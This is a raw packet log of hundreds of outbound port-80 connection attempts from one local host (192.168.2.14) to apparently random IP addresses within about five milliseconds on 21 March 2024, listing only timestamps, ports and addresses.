Mar 21, 2024 05:21:09.851699114 CET	17298	80	192.168.2.14	209.250.127.139
Mar 21, 2024 05:21:09.851706028 CET	17298	80	192.168.2.14	217.207.93.187
Mar 21, 2024 05:21:09.851715088 CET	17298	80	192.168.2.14	157.107.94.123
Mar 21, 2024 05:21:09.851722956 CET	17298	80	192.168.2.14	245.3.34.9
Mar 21, 2024 05:21:09.851728916 CET	17298	80	192.168.2.14	24.143.119.147
Mar 21, 2024 05:21:09.851737022 CET	17298	80	192.168.2.14	69.93.168.79
Mar 21, 2024 05:21:09.851739883 CET	17298	80	192.168.2.14	253.30.218.171
Mar 21, 2024 05:21:09.851747990 CET	17298	80	192.168.2.14	128.60.39.150
Mar 21, 2024 05:21:09.851752043 CET	17298	80	192.168.2.14	131.128.172.187
Mar 21, 2024 05:21:09.851777077 CET	17298	80	192.168.2.14	124.58.181.207
Mar 21, 2024 05:21:09.851777077 CET	17298	80	192.168.2.14	85.21.54.2
Mar 21, 2024 05:21:09.851777077 CET	17298	80	192.168.2.14	204.123.105.207
Mar 21, 2024 05:21:09.851782084 CET	17298	80	192.168.2.14	114.185.67.172
Mar 21, 2024 05:21:09.851782084 CET	17298	80	192.168.2.14	254.58.15.202
Mar 21, 2024 05:21:09.851803064 CET	17298	80	192.168.2.14	41.37.10.155
Mar 21, 2024 05:21:09.851805925 CET	17298	80	192.168.2.14	255.196.37.130
Mar 21, 2024 05:21:09.851807117 CET	17298	80	192.168.2.14	187.64.149.12
Mar 21, 2024 05:21:09.851807117 CET	17298	80	192.168.2.14	89.118.248.231
Mar 21, 2024 05:21:09.851819038 CET	17298	80	192.168.2.14	194.186.121.148
Mar 21, 2024 05:21:09.851824045 CET	17298	80	192.168.2.14	219.113.0.71
Mar 21, 2024 05:21:09.851835012 CET	17298	80	192.168.2.14	142.90.69.199
Mar 21, 2024 05:21:09.851839066 CET	17298	80	192.168.2.14	180.135.238.154
Mar 21, 2024 05:21:09.851839066 CET	17298	80	192.168.2.14	8.231.196.115
Mar 21, 2024 05:21:09.851846933 CET	17298	80	192.168.2.14	135.40.26.123
Mar 21, 2024 05:21:09.851857901 CET	17298	80	192.168.2.14	130.95.201.110
Mar 21, 2024 05:21:09.851859093 CET	17298	80	192.168.2.14	148.24.196.111
Mar 21, 2024 05:21:09.851869106 CET	17298	80	192.168.2.14	122.21.157.121
Mar 21, 2024 05:21:09.851872921 CET	17298	80	192.168.2.14	117.134.208.113
Mar 21, 2024 05:21:09.851885080 CET	17298	80	192.168.2.14	74.138.229.222
Mar 21, 2024 05:21:09.851891041 CET	17298	80	192.168.2.14	167.120.2.214
Mar 21, 2024 05:21:09.851895094 CET	17298	80	192.168.2.14	82.203.10.120
Mar 21, 2024 05:21:09.851897955 CET	17298	80	192.168.2.14	9.34.249.176
Mar 21, 2024 05:21:09.851906061 CET	17298	80	192.168.2.14	64.65.216.29
Mar 21, 2024 05:21:09.851912975 CET	17298	80	192.168.2.14	114.210.175.224
Mar 21, 2024 05:21:09.851918936 CET	17298	80	192.168.2.14	53.74.155.49
Mar 21, 2024 05:21:09.851922035 CET	17298	80	192.168.2.14	126.32.173.239
Mar 21, 2024 05:21:09.851926088 CET	17298	80	192.168.2.14	166.70.101.92
Mar 21, 2024 05:21:09.851933002 CET	17298	80	192.168.2.14	63.157.202.209
Mar 21, 2024 05:21:09.851962090 CET	17298	80	192.168.2.14	68.153.248.51
Mar 21, 2024 05:21:09.851963043 CET	17298	80	192.168.2.14	146.186.245.6
Mar 21, 2024 05:21:09.851965904 CET	17298	80	192.168.2.14	37.101.242.221
Mar 21, 2024 05:21:09.851970911 CET	17298	80	192.168.2.14	90.59.128.154
Mar 21, 2024 05:21:09.851985931 CET	17298	80	192.168.2.14	194.56.152.110
Mar 21, 2024 05:21:09.851986885 CET	17298	80	192.168.2.14	133.23.133.149
Mar 21, 2024 05:21:09.851989985 CET	17298	80	192.168.2.14	148.194.97.119
Mar 21, 2024 05:21:09.852006912 CET	17298	80	192.168.2.14	28.197.15.197
Mar 21, 2024 05:21:09.852008104 CET	17298	80	192.168.2.14	255.253.181.225
Mar 21, 2024 05:21:09.852008104 CET	17298	80	192.168.2.14	161.223.127.88
Mar 21, 2024 05:21:09.852010012 CET	17298	80	192.168.2.14	54.116.105.65
Mar 21, 2024 05:21:09.852020025 CET	17298	80	192.168.2.14	162.101.120.173
Mar 21, 2024 05:21:09.852031946 CET	17298	80	192.168.2.14	221.61.84.246
Mar 21, 2024 05:21:09.852034092 CET	17298	80	192.168.2.14	59.24.84.114
Mar 21, 2024 05:21:09.852041960 CET	17298	80	192.168.2.14	253.91.23.104
Mar 21, 2024 05:21:09.852051973 CET	17298	80	192.168.2.14	24.226.23.227
Mar 21, 2024 05:21:09.852055073 CET	17298	80	192.168.2.14	121.76.26.11
Mar 21, 2024 05:21:09.852096081 CET	17298	80	192.168.2.14	166.179.234.10
Mar 21, 2024 05:21:09.852107048 CET	17298	80	192.168.2.14	131.236.116.104
Mar 21, 2024 05:21:09.852108002 CET	17298	80	192.168.2.14	167.90.15.182
Mar 21, 2024 05:21:09.852108002 CET	17298	80	192.168.2.14	85.42.174.51
Mar 21, 2024 05:21:09.852125883 CET	17298	80	192.168.2.14	170.17.223.193
Mar 21, 2024 05:21:09.852142096 CET	17298	80	192.168.2.14	68.30.150.255
Mar 21, 2024 05:21:09.852142096 CET	17298	80	192.168.2.14	250.65.8.136
Mar 21, 2024 05:21:09.852143049 CET	17298	80	192.168.2.14	195.115.178.158
Mar 21, 2024 05:21:09.852155924 CET	17298	80	192.168.2.14	58.186.239.71
Mar 21, 2024 05:21:09.852157116 CET	17298	80	192.168.2.14	133.20.24.82
Mar 21, 2024 05:21:09.852155924 CET	17298	80	192.168.2.14	37.239.202.184
Mar 21, 2024 05:21:09.852158070 CET	17298	80	192.168.2.14	45.22.16.243
Mar 21, 2024 05:21:09.852161884 CET	17298	80	192.168.2.14	69.208.253.85
Mar 21, 2024 05:21:09.852168083 CET	17298	80	192.168.2.14	240.127.153.61
Mar 21, 2024 05:21:09.852210999 CET	17298	80	192.168.2.14	35.54.3.162
Mar 21, 2024 05:21:09.852210999 CET	17298	80	192.168.2.14	148.9.100.219
Mar 21, 2024 05:21:09.853434086 CET	17298	80	192.168.2.14	190.249.221.195
Mar 21, 2024 05:21:09.853439093 CET	17298	80	192.168.2.14	187.225.163.52
Mar 21, 2024 05:21:09.853452921 CET	17298	80	192.168.2.14	118.40.188.70
Mar 21, 2024 05:21:09.853460073 CET	17298	80	192.168.2.14	59.52.206.33
Mar 21, 2024 05:21:09.853463888 CET	17298	80	192.168.2.14	145.142.153.237
Mar 21, 2024 05:21:09.853482008 CET	17298	80	192.168.2.14	117.121.173.234
Mar 21, 2024 05:21:09.853493929 CET	17298	80	192.168.2.14	173.130.228.142
Mar 21, 2024 05:21:09.853498936 CET	17298	80	192.168.2.14	46.160.211.34
Mar 21, 2024 05:21:09.853513002 CET	17298	80	192.168.2.14	182.236.170.100
Mar 21, 2024 05:21:09.853519917 CET	17298	80	192.168.2.14	162.166.239.216
Mar 21, 2024 05:21:09.853526115 CET	17298	80	192.168.2.14	201.43.210.170
Mar 21, 2024 05:21:09.853549957 CET	17298	80	192.168.2.14	75.89.53.170
Mar 21, 2024 05:21:09.853559971 CET	17298	80	192.168.2.14	197.53.172.244
Mar 21, 2024 05:21:09.853569031 CET	17298	80	192.168.2.14	246.83.115.112
Mar 21, 2024 05:21:09.853573084 CET	17298	80	192.168.2.14	116.236.155.176
Mar 21, 2024 05:21:09.853574991 CET	17298	80	192.168.2.14	74.6.5.157
Mar 21, 2024 05:21:09.853589058 CET	17298	80	192.168.2.14	149.0.251.71
Mar 21, 2024 05:21:09.853591919 CET	17298	80	192.168.2.14	199.64.43.243
Mar 21, 2024 05:21:09.853596926 CET	17298	80	192.168.2.14	183.187.25.79
Mar 21, 2024 05:21:09.853596926 CET	17298	80	192.168.2.14	94.78.231.33
Mar 21, 2024 05:21:09.853600979 CET	17298	80	192.168.2.14	75.162.141.135
Mar 21, 2024 05:21:09.853616953 CET	17298	80	192.168.2.14	161.86.251.145
Mar 21, 2024 05:21:09.853620052 CET	17298	80	192.168.2.14	93.76.65.251
Mar 21, 2024 05:21:09.853626013 CET	17298	80	192.168.2.14	64.253.119.26
Mar 21, 2024 05:21:09.853626013 CET	17298	80	192.168.2.14	187.4.35.186
Mar 21, 2024 05:21:09.853627920 CET	17298	80	192.168.2.14	200.142.38.220
Mar 21, 2024 05:21:09.853636026 CET	17298	80	192.168.2.14	243.51.54.191
Mar 21, 2024 05:21:09.853645086 CET	17298	80	192.168.2.14	173.88.147.218
Mar 21, 2024 05:21:09.853656054 CET	17298	80	192.168.2.14	64.82.125.94
Mar 21, 2024 05:21:09.853660107 CET	17298	80	192.168.2.14	11.165.43.114
Mar 21, 2024 05:21:09.853663921 CET	17298	80	192.168.2.14	9.64.248.68
Mar 21, 2024 05:21:09.853681087 CET	17298	80	192.168.2.14	133.54.49.222
Mar 21, 2024 05:21:09.853692055 CET	17298	80	192.168.2.14	12.28.58.150
Mar 21, 2024 05:21:09.853696108 CET	17298	80	192.168.2.14	25.123.82.174
Mar 21, 2024 05:21:09.853698969 CET	17298	80	192.168.2.14	201.61.250.164
Mar 21, 2024 05:21:09.853712082 CET	17298	80	192.168.2.14	5.7.112.253
Mar 21, 2024 05:21:09.853717089 CET	17298	80	192.168.2.14	250.251.27.183
Mar 21, 2024 05:21:09.853717089 CET	17298	80	192.168.2.14	8.46.4.22
Mar 21, 2024 05:21:09.853734016 CET	17298	80	192.168.2.14	60.248.63.7
Mar 21, 2024 05:21:09.853737116 CET	17298	80	192.168.2.14	25.234.206.40
Mar 21, 2024 05:21:09.853744984 CET	17298	80	192.168.2.14	150.169.110.254
Mar 21, 2024 05:21:09.853750944 CET	17298	80	192.168.2.14	119.156.165.121
Mar 21, 2024 05:21:09.853753090 CET	17298	80	192.168.2.14	125.234.220.48
Mar 21, 2024 05:21:09.853756905 CET	17298	80	192.168.2.14	176.125.34.255
Mar 21, 2024 05:21:09.853763103 CET	17298	80	192.168.2.14	177.83.63.173
Mar 21, 2024 05:21:09.853775024 CET	17298	80	192.168.2.14	182.146.252.111
Mar 21, 2024 05:21:09.853780031 CET	17298	80	192.168.2.14	10.201.166.124
Mar 21, 2024 05:21:09.853795052 CET	17298	80	192.168.2.14	223.25.136.117
Mar 21, 2024 05:21:09.853806973 CET	17298	80	192.168.2.14	63.33.227.133
Mar 21, 2024 05:21:09.853807926 CET	17298	80	192.168.2.14	106.102.97.137
Mar 21, 2024 05:21:09.853807926 CET	17298	80	192.168.2.14	14.205.173.236
Mar 21, 2024 05:21:09.854104042 CET	17298	80	192.168.2.14	38.92.126.132
Mar 21, 2024 05:21:09.854108095 CET	17298	80	192.168.2.14	95.113.44.44
Mar 21, 2024 05:21:09.854116917 CET	17298	80	192.168.2.14	9.52.17.149
Mar 21, 2024 05:21:09.854129076 CET	17298	80	192.168.2.14	250.44.101.184
Mar 21, 2024 05:21:09.854135990 CET	17298	80	192.168.2.14	40.255.204.129
Mar 21, 2024 05:21:09.854135990 CET	17298	80	192.168.2.14	168.219.131.245
Mar 21, 2024 05:21:09.854139090 CET	17298	80	192.168.2.14	57.65.248.251
Mar 21, 2024 05:21:09.854140997 CET	17298	80	192.168.2.14	248.132.170.135
Mar 21, 2024 05:21:09.854140997 CET	17298	80	192.168.2.14	143.167.22.129
Mar 21, 2024 05:21:09.854229927 CET	17298	80	192.168.2.14	49.19.8.164
Mar 21, 2024 05:21:09.854237080 CET	17298	80	192.168.2.14	147.27.187.225
Mar 21, 2024 05:21:09.854242086 CET	17298	80	192.168.2.14	99.179.81.155
Mar 21, 2024 05:21:09.854257107 CET	17298	80	192.168.2.14	23.2.243.88
Mar 21, 2024 05:21:09.854263067 CET	17298	80	192.168.2.14	117.35.224.20
Mar 21, 2024 05:21:09.854270935 CET	17298	80	192.168.2.14	78.253.49.218
Mar 21, 2024 05:21:09.854274035 CET	17298	80	192.168.2.14	59.222.15.147
Mar 21, 2024 05:21:09.854274035 CET	17298	80	192.168.2.14	248.239.58.245
Mar 21, 2024 05:21:09.854276896 CET	17298	80	192.168.2.14	193.40.20.47
Mar 21, 2024 05:21:09.854334116 CET	17298	80	192.168.2.14	191.172.176.180
Mar 21, 2024 05:21:09.854342937 CET	17298	80	192.168.2.14	78.135.161.178
Mar 21, 2024 05:21:09.854342937 CET	17298	80	192.168.2.14	72.67.139.217
Mar 21, 2024 05:21:09.854342937 CET	17298	80	192.168.2.14	94.241.53.192
Mar 21, 2024 05:21:09.854348898 CET	17298	80	192.168.2.14	211.133.174.167
Mar 21, 2024 05:21:09.854352951 CET	17298	80	192.168.2.14	191.151.8.90
Mar 21, 2024 05:21:09.854368925 CET	17298	80	192.168.2.14	183.88.211.207
Mar 21, 2024 05:21:09.854371071 CET	17298	80	192.168.2.14	204.194.168.128
Mar 21, 2024 05:21:09.854372025 CET	17298	80	192.168.2.14	130.171.138.223
Mar 21, 2024 05:21:09.854388952 CET	17298	80	192.168.2.14	69.131.68.95
Mar 21, 2024 05:21:09.854397058 CET	17298	80	192.168.2.14	68.229.249.168
Mar 21, 2024 05:21:09.854398012 CET	17298	80	192.168.2.14	85.186.170.4
Mar 21, 2024 05:21:09.854404926 CET	17298	80	192.168.2.14	150.252.246.235
Mar 21, 2024 05:21:09.854490995 CET	17300	80	192.168.2.14	149.73.111.120
Mar 21, 2024 05:21:09.854536057 CET	17298	80	192.168.2.14	51.228.251.191
Mar 21, 2024 05:21:09.854536057 CET	17298	80	192.168.2.14	96.176.32.165
Mar 21, 2024 05:21:09.854536057 CET	17298	80	192.168.2.14	81.49.63.98
Mar 21, 2024 05:21:09.854541063 CET	17298	80	192.168.2.14	146.152.80.76
Mar 21, 2024 05:21:09.854556084 CET	17298	80	192.168.2.14	17.73.111.249
Mar 21, 2024 05:21:09.854593992 CET	17300	80	192.168.2.14	123.42.72.127
Mar 21, 2024 05:21:09.854595900 CET	17300	80	192.168.2.14	34.235.228.183
Mar 21, 2024 05:21:09.854628086 CET	17298	80	192.168.2.14	135.232.166.65
Mar 21, 2024 05:21:09.854638100 CET	17298	80	192.168.2.14	43.206.102.170
Mar 21, 2024 05:21:09.854646921 CET	17298	80	192.168.2.14	122.81.123.134
Mar 21, 2024 05:21:09.854649067 CET	17298	80	192.168.2.14	35.78.100.34
Mar 21, 2024 05:21:09.854665041 CET	17298	80	192.168.2.14	143.99.189.53
Mar 21, 2024 05:21:09.854665041 CET	17298	80	192.168.2.14	100.213.69.245
Mar 21, 2024 05:21:09.854670048 CET	17298	80	192.168.2.14	141.161.8.10
Mar 21, 2024 05:21:09.854686022 CET	17300	80	192.168.2.14	152.211.167.171
Mar 21, 2024 05:21:09.854691029 CET	17300	80	192.168.2.14	116.243.44.167
Mar 21, 2024 05:21:09.854702950 CET	17300	80	192.168.2.14	184.122.96.140
Mar 21, 2024 05:21:09.854708910 CET	17300	80	192.168.2.14	1.105.35.23
Mar 21, 2024 05:21:09.854708910 CET	17300	80	192.168.2.14	138.75.0.39
Mar 21, 2024 05:21:09.854717016 CET	17300	80	192.168.2.14	36.163.52.161
Mar 21, 2024 05:21:09.854727983 CET	17300	80	192.168.2.14	51.131.71.170
Mar 21, 2024 05:21:09.854743004 CET	17298	80	192.168.2.14	149.209.153.160
Mar 21, 2024 05:21:09.854756117 CET	17298	80	192.168.2.14	18.95.210.211
Mar 21, 2024 05:21:09.854759932 CET	17298	80	192.168.2.14	30.118.36.240
Mar 21, 2024 05:21:09.854768991 CET	17298	80	192.168.2.14	183.167.136.225
Mar 21, 2024 05:21:09.854775906 CET	17298	80	192.168.2.14	25.110.191.84
Mar 21, 2024 05:21:09.854780912 CET	17298	80	192.168.2.14	124.101.68.74
Mar 21, 2024 05:21:09.854784966 CET	17298	80	192.168.2.14	186.3.251.161
Mar 21, 2024 05:21:09.854793072 CET	17298	80	192.168.2.14	111.6.120.136
Mar 21, 2024 05:21:09.854811907 CET	17298	80	192.168.2.14	153.183.240.250
Mar 21, 2024 05:21:09.854827881 CET	17300	80	192.168.2.14	144.145.145.95
Mar 21, 2024 05:21:09.854840040 CET	17300	80	192.168.2.14	103.39.252.128
Mar 21, 2024 05:21:09.854857922 CET	17300	80	192.168.2.14	90.29.150.84
Mar 21, 2024 05:21:09.854857922 CET	17300	80	192.168.2.14	134.223.164.51
Mar 21, 2024 05:21:09.854875088 CET	17300	80	192.168.2.14	34.221.236.195
Mar 21, 2024 05:21:09.854876995 CET	17300	80	192.168.2.14	49.69.115.66
Mar 21, 2024 05:21:09.854880095 CET	17300	80	192.168.2.14	94.104.19.21
Mar 21, 2024 05:21:09.854880095 CET	17300	80	192.168.2.14	176.51.88.177
Mar 21, 2024 05:21:09.854886055 CET	17300	80	192.168.2.14	129.114.194.206
Mar 21, 2024 05:21:09.854897022 CET	17300	80	192.168.2.14	89.184.229.215
Mar 21, 2024 05:21:09.854914904 CET	17300	80	192.168.2.14	36.106.179.175
Mar 21, 2024 05:21:09.854914904 CET	17300	80	192.168.2.14	181.154.114.43
Mar 21, 2024 05:21:09.854919910 CET	17300	80	192.168.2.14	211.230.202.116
Mar 21, 2024 05:21:09.854921103 CET	17300	80	192.168.2.14	210.210.83.59
Mar 21, 2024 05:21:09.854935884 CET	17298	80	192.168.2.14	199.145.56.171
Mar 21, 2024 05:21:09.854948997 CET	17298	80	192.168.2.14	61.45.2.143
Mar 21, 2024 05:21:09.854952097 CET	17298	80	192.168.2.14	18.247.164.172
Mar 21, 2024 05:21:09.854964972 CET	17298	80	192.168.2.14	214.137.30.74
Mar 21, 2024 05:21:09.854968071 CET	17298	80	192.168.2.14	66.98.88.237
Mar 21, 2024 05:21:09.855040073 CET	17300	80	192.168.2.14	41.95.78.228
Mar 21, 2024 05:21:09.855042934 CET	17300	80	192.168.2.14	97.152.85.101
Mar 21, 2024 05:21:09.855050087 CET	17300	80	192.168.2.14	204.156.193.30
Mar 21, 2024 05:21:09.855056047 CET	17300	80	192.168.2.14	121.34.252.191
Mar 21, 2024 05:21:09.855058908 CET	17300	80	192.168.2.14	218.58.207.36
Mar 21, 2024 05:21:09.855067968 CET	17300	80	192.168.2.14	44.9.224.21
Mar 21, 2024 05:21:09.855073929 CET	17298	80	192.168.2.14	169.55.247.36
Mar 21, 2024 05:21:09.855073929 CET	17300	80	192.168.2.14	66.106.134.169
Mar 21, 2024 05:21:09.855078936 CET	17300	80	192.168.2.14	8.96.134.127
Mar 21, 2024 05:21:09.855093002 CET	17300	80	192.168.2.14	14.248.213.5
Mar 21, 2024 05:21:09.855093002 CET	17300	80	192.168.2.14	44.230.242.246
Mar 21, 2024 05:21:09.855104923 CET	17300	80	192.168.2.14	5.44.229.0
Mar 21, 2024 05:21:09.855110884 CET	17300	80	192.168.2.14	12.99.83.86
Mar 21, 2024 05:21:09.855117083 CET	17300	80	192.168.2.14	145.223.206.37
Mar 21, 2024 05:21:09.855129957 CET	17300	80	192.168.2.14	195.73.242.106
Mar 21, 2024 05:21:09.855134010 CET	17300	80	192.168.2.14	129.28.110.158
Mar 21, 2024 05:21:09.855144024 CET	17300	80	192.168.2.14	188.171.189.25
Mar 21, 2024 05:21:09.855144024 CET	17300	80	192.168.2.14	115.253.181.1
Mar 21, 2024 05:21:09.855144024 CET	17300	80	192.168.2.14	182.18.162.106
Mar 21, 2024 05:21:09.855151892 CET	17300	80	192.168.2.14	88.39.203.1
Mar 21, 2024 05:21:09.855160952 CET	17300	80	192.168.2.14	205.114.123.186
Mar 21, 2024 05:21:09.855168104 CET	17300	80	192.168.2.14	109.156.206.112
Mar 21, 2024 05:21:09.855173111 CET	17300	80	192.168.2.14	149.170.253.102
Mar 21, 2024 05:21:09.855180025 CET	17300	80	192.168.2.14	44.23.217.118
Mar 21, 2024 05:21:09.855190039 CET	17300	80	192.168.2.14	136.12.234.112
Mar 21, 2024 05:21:09.855195045 CET	17300	80	192.168.2.14	32.106.55.58
Mar 21, 2024 05:21:09.855202913 CET	17300	80	192.168.2.14	220.60.44.164
Mar 21, 2024 05:21:09.855214119 CET	17300	80	192.168.2.14	196.242.130.234
Mar 21, 2024 05:21:09.855214119 CET	17300	80	192.168.2.14	142.174.232.188
Mar 21, 2024 05:21:09.855221987 CET	17300	80	192.168.2.14	14.121.191.5
Mar 21, 2024 05:21:09.855231047 CET	17300	80	192.168.2.14	72.78.196.184
Mar 21, 2024 05:21:09.855237961 CET	17300	80	192.168.2.14	206.95.86.11
Mar 21, 2024 05:21:09.855245113 CET	17300	80	192.168.2.14	50.154.155.212
Mar 21, 2024 05:21:09.855257988 CET	17300	80	192.168.2.14	208.246.155.154
Mar 21, 2024 05:21:09.855257988 CET	17300	80	192.168.2.14	65.93.147.153
Mar 21, 2024 05:21:09.855257988 CET	17300	80	192.168.2.14	199.152.125.210
Mar 21, 2024 05:21:09.855268955 CET	17300	80	192.168.2.14	156.205.88.131
Mar 21, 2024 05:21:09.855273008 CET	17300	80	192.168.2.14	140.17.183.149
Mar 21, 2024 05:21:09.855284929 CET	17300	80	192.168.2.14	209.171.139.109
Mar 21, 2024 05:21:09.855288982 CET	17300	80	192.168.2.14	76.105.60.6
Mar 21, 2024 05:21:09.855298042 CET	17300	80	192.168.2.14	96.83.222.189
Mar 21, 2024 05:21:09.855308056 CET	17300	80	192.168.2.14	86.196.27.247
Mar 21, 2024 05:21:09.855310917 CET	17300	80	192.168.2.14	85.94.219.232
Mar 21, 2024 05:21:09.855317116 CET	17300	80	192.168.2.14	126.242.222.150
Mar 21, 2024 05:21:09.855329037 CET	17300	80	192.168.2.14	94.161.221.137
Mar 21, 2024 05:21:09.855334044 CET	17300	80	192.168.2.14	79.252.176.34
Mar 21, 2024 05:21:09.855336905 CET	17300	80	192.168.2.14	132.160.1.206
Mar 21, 2024 05:21:09.855351925 CET	17300	80	192.168.2.14	8.234.199.53
Mar 21, 2024 05:21:09.855353117 CET	17300	80	192.168.2.14	104.159.22.205
Mar 21, 2024 05:21:09.855355978 CET	17300	80	192.168.2.14	57.16.26.217
Mar 21, 2024 05:21:09.855361938 CET	17300	80	192.168.2.14	71.250.70.235
Mar 21, 2024 05:21:09.855371952 CET	17300	80	192.168.2.14	218.203.224.78
Mar 21, 2024 05:21:09.855380058 CET	17300	80	192.168.2.14	196.119.66.113
Mar 21, 2024 05:21:09.855389118 CET	17300	80	192.168.2.14	69.14.255.43
Mar 21, 2024 05:21:09.855401993 CET	17300	80	192.168.2.14	42.56.214.206
Mar 21, 2024 05:21:09.855406046 CET	17300	80	192.168.2.14	148.176.29.6
Mar 21, 2024 05:21:09.855412006 CET	17300	80	192.168.2.14	61.115.213.71
Mar 21, 2024 05:21:09.855417967 CET	17300	80	192.168.2.14	131.234.101.150
Mar 21, 2024 05:21:09.855420113 CET	17300	80	192.168.2.14	191.169.71.108
Mar 21, 2024 05:21:09.855432987 CET	17300	80	192.168.2.14	166.176.235.9
Mar 21, 2024 05:21:09.855437040 CET	17300	80	192.168.2.14	197.107.126.192
Mar 21, 2024 05:21:09.855441093 CET	17300	80	192.168.2.14	101.33.49.95
Mar 21, 2024 05:21:09.855448961 CET	17300	80	192.168.2.14	191.11.103.44
Mar 21, 2024 05:21:09.855457067 CET	17300	80	192.168.2.14	193.120.144.74
Mar 21, 2024 05:21:09.855463028 CET	17300	80	192.168.2.14	27.95.40.226
Mar 21, 2024 05:21:09.855470896 CET	17300	80	192.168.2.14	24.131.116.85
Mar 21, 2024 05:21:09.855473042 CET	17300	80	192.168.2.14	115.190.132.55
Mar 21, 2024 05:21:09.855488062 CET	17300	80	192.168.2.14	13.205.251.37
Mar 21, 2024 05:21:09.855490923 CET	17300	80	192.168.2.14	57.197.130.7
Mar 21, 2024 05:21:09.855490923 CET	17300	80	192.168.2.14	82.44.242.61
Mar 21, 2024 05:21:09.855500937 CET	17300	80	192.168.2.14	88.75.77.109
Mar 21, 2024 05:21:09.855510950 CET	17300	80	192.168.2.14	175.206.248.124
Mar 21, 2024 05:21:09.855518103 CET	17300	80	192.168.2.14	104.205.97.65
Mar 21, 2024 05:21:09.855525970 CET	17300	80	192.168.2.14	102.35.229.165
Mar 21, 2024 05:21:09.855534077 CET	17300	80	192.168.2.14	93.112.165.84
Mar 21, 2024 05:21:09.855545998 CET	17300	80	192.168.2.14	14.239.86.55
Mar 21, 2024 05:21:09.855551958 CET	17300	80	192.168.2.14	164.20.189.86
Mar 21, 2024 05:21:09.855561018 CET	17300	80	192.168.2.14	144.239.27.210
Mar 21, 2024 05:21:09.855562925 CET	17300	80	192.168.2.14	93.105.238.242
Mar 21, 2024 05:21:09.855565071 CET	17300	80	192.168.2.14	25.172.162.197
Mar 21, 2024 05:21:09.855565071 CET	17300	80	192.168.2.14	62.150.52.234
Mar 21, 2024 05:21:09.855565071 CET	17300	80	192.168.2.14	117.16.25.24
Mar 21, 2024 05:21:09.855576038 CET	17300	80	192.168.2.14	34.183.56.151
Mar 21, 2024 05:21:09.855581999 CET	17300	80	192.168.2.14	57.196.2.63
Mar 21, 2024 05:21:09.855591059 CET	17300	80	192.168.2.14	216.193.232.98
Mar 21, 2024 05:21:09.855608940 CET	17300	80	192.168.2.14	173.130.198.40
Mar 21, 2024 05:21:09.855613947 CET	17300	80	192.168.2.14	145.124.7.80
Mar 21, 2024 05:21:09.855621099 CET	17300	80	192.168.2.14	34.93.118.82
Mar 21, 2024 05:21:09.855628967 CET	17300	80	192.168.2.14	14.88.91.26
Mar 21, 2024 05:21:09.855639935 CET	17300	80	192.168.2.14	111.189.240.183
Mar 21, 2024 05:21:09.855643034 CET	17300	80	192.168.2.14	46.225.158.188
Mar 21, 2024 05:21:09.855647087 CET	17300	80	192.168.2.14	115.70.94.169
Mar 21, 2024 05:21:09.855657101 CET	17300	80	192.168.2.14	117.211.246.180
Mar 21, 2024 05:21:09.855657101 CET	17300	80	192.168.2.14	57.173.31.97
Mar 21, 2024 05:21:09.855670929 CET	17300	80	192.168.2.14	223.60.181.247
Mar 21, 2024 05:21:09.855670929 CET	17300	80	192.168.2.14	116.63.23.129
Mar 21, 2024 05:21:09.855670929 CET	17300	80	192.168.2.14	63.242.225.72
Mar 21, 2024 05:21:09.855773926 CET	17300	80	192.168.2.14	210.188.64.17
Mar 21, 2024 05:21:09.856076956 CET	17300	80	192.168.2.14	12.2.41.122
Mar 21, 2024 05:21:09.856092930 CET	17300	80	192.168.2.14	102.55.137.225
Mar 21, 2024 05:21:09.856101990 CET	17300	80	192.168.2.14	108.128.11.134
Mar 21, 2024 05:21:09.856101990 CET	17300	80	192.168.2.14	181.249.119.226
Mar 21, 2024 05:21:09.856107950 CET	17300	80	192.168.2.14	143.60.122.86
Mar 21, 2024 05:21:09.856108904 CET	17300	80	192.168.2.14	41.66.164.53
Mar 21, 2024 05:21:09.856108904 CET	17300	80	192.168.2.14	150.240.214.84
Mar 21, 2024 05:21:09.856127977 CET	17300	80	192.168.2.14	41.152.227.152
Mar 21, 2024 05:21:09.856142044 CET	17300	80	192.168.2.14	130.110.57.37
Mar 21, 2024 05:21:09.856154919 CET	17300	80	192.168.2.14	201.21.137.150
Mar 21, 2024 05:21:09.856161118 CET	17300	80	192.168.2.14	145.62.236.182
Mar 21, 2024 05:21:09.856164932 CET	17300	80	192.168.2.14	77.72.189.208
Mar 21, 2024 05:21:09.856173038 CET	17300	80	192.168.2.14	9.103.232.122
Mar 21, 2024 05:21:09.856173992 CET	17300	80	192.168.2.14	92.176.29.141
Mar 21, 2024 05:21:09.856173992 CET	17300	80	192.168.2.14	121.28.28.140
Mar 21, 2024 05:21:09.856201887 CET	17300	80	192.168.2.14	213.113.254.198
Mar 21, 2024 05:21:09.856209040 CET	17300	80	192.168.2.14	145.81.205.51
Mar 21, 2024 05:21:09.856221914 CET	17300	80	192.168.2.14	87.244.164.97
Mar 21, 2024 05:21:09.856224060 CET	17300	80	192.168.2.14	125.8.196.240
Mar 21, 2024 05:21:09.856226921 CET	17300	80	192.168.2.14	205.15.189.8
Mar 21, 2024 05:21:09.856232882 CET	17300	80	192.168.2.14	14.121.133.232
Mar 21, 2024 05:21:09.856236935 CET	17300	80	192.168.2.14	124.140.11.85
Mar 21, 2024 05:21:09.856240988 CET	17300	80	192.168.2.14	181.255.145.49
Mar 21, 2024 05:21:09.856256008 CET	17300	80	192.168.2.14	180.130.118.185
Mar 21, 2024 05:21:09.856271029 CET	17300	80	192.168.2.14	43.208.10.78
Mar 21, 2024 05:21:09.856275082 CET	17300	80	192.168.2.14	5.224.114.101
Mar 21, 2024 05:21:09.856281042 CET	17300	80	192.168.2.14	46.1.117.100
Mar 21, 2024 05:21:09.856306076 CET	17300	80	192.168.2.14	178.241.114.155
Mar 21, 2024 05:21:09.856318951 CET	17300	80	192.168.2.14	116.28.58.108
Mar 21, 2024 05:21:09.856323004 CET	17300	80	192.168.2.14	87.51.73.216
Mar 21, 2024 05:21:09.856326103 CET	17300	80	192.168.2.14	86.89.164.9
Mar 21, 2024 05:21:09.856333971 CET	17300	80	192.168.2.14	48.36.215.101
Mar 21, 2024 05:21:09.856344938 CET	17300	80	192.168.2.14	44.30.212.72
Mar 21, 2024 05:21:09.856353998 CET	17300	80	192.168.2.14	141.246.173.192
Mar 21, 2024 05:21:09.856363058 CET	17300	80	192.168.2.14	175.83.39.203
Mar 21, 2024 05:21:09.856363058 CET	17300	80	192.168.2.14	123.182.59.204
Mar 21, 2024 05:21:09.856364012 CET	17300	80	192.168.2.14	27.232.28.66
Mar 21, 2024 05:21:09.856364965 CET	17300	80	192.168.2.14	144.116.116.109
Mar 21, 2024 05:21:09.856431961 CET	17300	80	192.168.2.14	100.161.242.19
